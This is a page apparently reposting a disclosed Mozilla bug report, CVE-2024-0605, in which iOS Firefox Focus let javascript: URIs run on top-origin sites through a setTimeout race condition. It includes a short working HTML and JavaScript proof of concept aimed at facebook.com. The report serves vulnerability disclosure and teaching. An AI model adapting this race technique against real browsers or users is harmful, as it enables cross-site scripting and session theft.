Skip to content
XSS Disclosed report Advanced CVE-2024-0605

iOS Firefox Focus let javascript: URI to run on Top Origin sites

James Lee Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 3 months
  • Paid in 4 months
  • Disclosed after 3 months
Text
Created attachment 9355440
Focus_jsuritop.mp4

We are able to run javascript: URI on Top Origin sites using race condition attack with setTimeout().

I used https://facebook.com as an example demo for this test case.

PoC demo: https://pwning.click/jsuritop.php


'''HTML
<script>
function a(){
	window.open('https://facebook.com', 'x');
	setTimeout(function(){
		window.open('javascript:document.write(document.domain)');
	}, 555);
}
</script> 
<center><img src="https://pwning.click/Genius_Cat.jpg" onclick="a()"></center>
'''

The original report as published on Mozilla's Bugzilla, by James Lee. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A critical-severity XSS bug in Security: iOS. Mozilla made it public on 9 January 2024 as CVE-2024-0605.

About XSS

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by James Lee

View all

30 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.